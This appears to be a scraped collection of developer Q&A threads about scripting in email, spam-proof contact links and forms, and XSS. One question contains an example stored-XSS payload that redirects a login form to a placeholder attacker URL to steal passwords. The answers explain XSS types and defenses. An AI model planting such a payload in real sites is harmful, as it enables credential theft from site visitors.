How to use JS spam protection on email to hide the form from spam bots.
You don't. Putting JavaScript into email is a very bad idea for potential security and privacy violations. Instead include a link in your emails to the form on a web page. Email is inherently private and the web is inherently public. If exposing the form to a user is not a private event then it should not go in an email.
I'm not sure that I'm answering your question correctly, there isn't much detail.
I think what you're asking is how you can hide email addresses, in html, from spam bots - in which case here is the answer (there is no point in me paraphrasing it):
http://joemaller.com/js-mailer.shtml
I'm not sure this is affective any longer, if it ever was, but I was under the impression that encoding your email address in hex was one effective way to limit spam harvesting.
e.g.; mailto: is the leading "mailto:"
I've been using it on my site, but I also use Google apps for domain email, so it catches all the foo that does come through.
Related
I was asked if changing an email's subject is possible when someone receives it in Outlook. Is it?
I was thinking it may be. The same way user agents are used for browsers maybe? I'm pretty new to emails but searching on the internet didn't help and I've already spent a few hours doing that.
You don't have to solve it for me, just point me to the right direction would suffice. Either way it's something I would like to learn doing.
TL;DR Email subject text change based on recipient (Outlook specifically).
Email clients do not support dynamic code, so you can't do this with client-side JavaScript.
SMTP servers sending email have no way of knowing which client will be used to open the email. (They don't send email in response to the email client asking for it).
What you want is impossible.
i want to make javascript alert work in gmail / outlook, see below code
it's not working how can i do it ,
<script>
alert('hiii');
</script>
Any script placed in an email will be stripped out by most email clients for security reasons.
Scripting in Emails
The short answer is that scripting is unsupported in emails. This is hardly surprising, given the obvious security risks involved with a script running inside an application that has all that personal information stored in it.
Webmail clients are mostly running the interface in JavaScript and are not keen on your email interfering with that, and desktop client filters often consider JavaScript to be an indicator of spam or phishing emails. Even in the cases where it might run, there really is little benefit to scripting in emails.
Keep your emails as straight HTML and CSS, and avoid the hassle.
https://www.campaignmonitor.com/guides/coding/technologies/
If you need to run some script related to the recipient of the email you would need to get them to click a link in the email to open a website to be able to use full JS capabilities.
I'm a PHP developer and I'm looking to improve the security of my sites.
From what I understand the following are two major types of vulnerabilities which affect web applications:
SQL Injection
XSS
SQL Injection can be fixed with prepared statements - easy.
But I still don't really get XSS - is the following an example of XSS?...
Page full of user-made content has a login form at the top (site-wide).
The user's input to the page is not HTML-escaped.
A user posts the following content (e.g. a comment) to the page...
A really nice comment
<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
$('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
An innocent user comes to the page, the script executes.
The innocent user realises they're not logged in, and enter their details into the form.
The user's details are sent off to http://somehackysite.com/givemyourpw.php and then the user's account details are stolen.
So I really have three questions here:
Would this work?
Is this XSS?
Are there any precautions developers should take against XSS other than escaping HTML?
There are two types are XSS attacks: Reflected XSS and Persistent XSS attacks. What you've described, where a user of the site inputs data that gets saved on the server side, and is rendered for anyone viewing a page, is considered Persistent XSS. Similar attacks would be if you have a comment box on a post that doesn't escape Javascript, or a profile page I can put anything into.
The other class of XSS attacks is Reflected XSS. These are a little more complicated, but they amount to one of the arguments in the URL for a page not being escaped. They frequently come up in things like Search pages on large websites. You'll get a URL that includes some javascript in it (sorry, my example got mangled by the renderer here, so I can't show you an example) , and the page will render the javascript which would allow someone to craft a malicious URL. These are especially dangerous on sites that hand any sort of financial data; imagine a conscientious user who always checks to make sure the they're going to the write link to their bank, but because of a Reflected XSS attack an attacker is able to send them to a legitimate page on their bank's website, but that has malicious code in it.
In any case, your example is Persistent XSS. You can do even more nefarious things with attacks like that than just changing where a login form sends users. They've been popular for years to do things like scraping information from personal areas of sites, or coupled with CSRF to cause an authenticated user to do something by simply looking at a page. There were a few MySpace viruses a while back that did that, and spread from profile to profile.
Is this XSS?
Yes, this is an injection flaw in general and would be referred to as a XSS exploit in this particular case as it’s JavaScript that was injected.
But this injection flaw, where one user’s input gets reflected to other users without any changes, can also yield to other attacks like defacement.
Would this work?
Yes, it’s very likely that this would work as it’s the origin server that serves this code snipped just like any other code in the web page. So it’s like the author of the web site is the originator of this code and will be treated likewise.
Are there any precautions developers should take against XSS other than escaping HTML?
There are actually three different types of XSS: DOM based XSS, Reflected XSS, and Stored/persistent XSS). Your example is a stored/persistend XSS exploit as the server deploys the exploit with every request.
The general rule is not to trust any user input. That said either only valid user input should be allowed or the user input is filtered (removing invalid values) or properly encoded (convert invalid values) before outputting it. See OWASP’s XSS Cheat Sheet for further information.
it's xss and i believe it's javascript injection too
so i think this link will help
Yes that is an example of a basic persistent XSS attack. Not only could a user steal credentials in this situation but also attempt to infect visitors, or spam links through your site.
OWASP XSS Prevention Guide is a good start.
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
Joomla's lovely email cloaking feature hides email addresses in bits of Javascript - which is nice, but has the side effect of breaking the onclick event tracking that you need to track someone clicking on a mailto: link in Google Analytics.
Does anyone know of a cunning way of tracking the mailto in Joomla? (I've got a not so cunning way to do it: turn off email cloaking, but I'd rather not do that)
Sure there's a much better way. Use one of any number of form extensions and use forms instead of mailto links. Turning off the cloaking is just asking for everyone's email to be spammed in to oblivion and you can set up goals to track your submitted forms. It will also save you headaches if you ask your visitors for the info you would need to collect from them to reply to their inquiry as well.
I am working on a website and would like for my users to be able to give feedback as easily as possible. I know one way but I've always hated it:
Click Here to be annoyed!
Is there a way in JavaScript or HTML to allow my users to email me without having to go through a lot of trouble?
A CONTACT FORM:
avoids spam bots that pick up 'mailtos'
allows you to validate that the form user is 'human' (optional captcha)
gives you total server-side control over data format
allows you to change your email easily from the server, anytime
hides your favorite, real email from your visitors/members/site users
gives you the option to control the topic (via select menu, etc.)
gives you an opportunity to have the user check off something extra
e.g., a survey question, subscription opt-in, interest in services, quote, etc.
gives you an opportunity to return a thank you (or sales page) after submission
gives you another opportunity to look professional
There's no question the link is the easiest initially-- a simple click; but, all things considered, I whole-heartedly agree that a contact form is the way to go for most purposes, for the reasons I listed above, and more.
Well, since Tom challenged me, ;) Here are a few copy-and-paste contact widgets that you can have up and tested in a minute or so.
Some Customizable Flash Contact/MailTo Widgets:
http://www.widgetbox.com/widget/contactify-widget-beta A customizable contact form. The style is highly customizable.
http://www.widgetbox.com/widget/contact-emailer-version3-rajwidgetbox
Use this gadget in your web site's
contact page. Avoid spams by not
providing your email address in your
site or blog. This gadget is highly
customizable. This uses image
verification code feature. Multiple
languages are supported. Version 3.
3300 downloads
http://www.widgetbox.com/widget/ultimate-antispam-email-link
Now, if you really do not want a
form, but do want an email link that
spam bots cannot pick up, here's the
widge for you. In the custom area,
you define your parties and mailto
addresses. It's a simple flash
button, so the user doesn't see it
until it opens their mail client.
The way you describe is the easiest way in my opinion.
If you want the email typed up there in the page like a form, you might want to create an email/suggestion form or alternative.
You can provide a multiline text box for comments and a submit button, POST the text to your server, and then mail it to yourself on the server. That spares your users a trip to their mail clients, at the cost of depriving you of a reasonably-likely-valid reply-to address.
You could even use AJAX and spare them a screen refresh.
Google Docs supplies creating webforms that can be easily embedded in websites. It collects all data in an on-line spreadsheet which you can download at anytime in various formats. You can even set e-mail notification if a visitor filled out your contact form.
I would create a form that users can provide feedback in, and then have your server write this into a database. Writing to a DB is likely going to make it more efficient for you to wade through feedback. Having users fill a form instead of sending you free-form email also help you enforce some kind of structure on the feedback or the metadata associated with the feedback (bug/feature request/comments, etc).
The most reliable way would be to send the email with the help of some server side processing.
You can also do it using an HTML form with the help of the action attribute:
<form action="mailto:user#example.com">
...
</form>
But this method may not be reliable for all browsers.